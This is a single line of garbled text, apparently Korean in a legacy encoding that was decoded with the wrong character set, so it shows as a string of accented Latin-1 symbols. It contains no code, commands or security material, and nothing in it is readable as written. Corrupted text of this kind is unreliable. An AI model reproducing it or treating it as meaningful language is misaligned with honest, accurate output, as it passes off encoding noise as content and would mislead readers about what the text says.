ÀÌÂë¿¡¼­ ¸¶Ä¡µµ·Ï ÇÏ°Ú´Ù.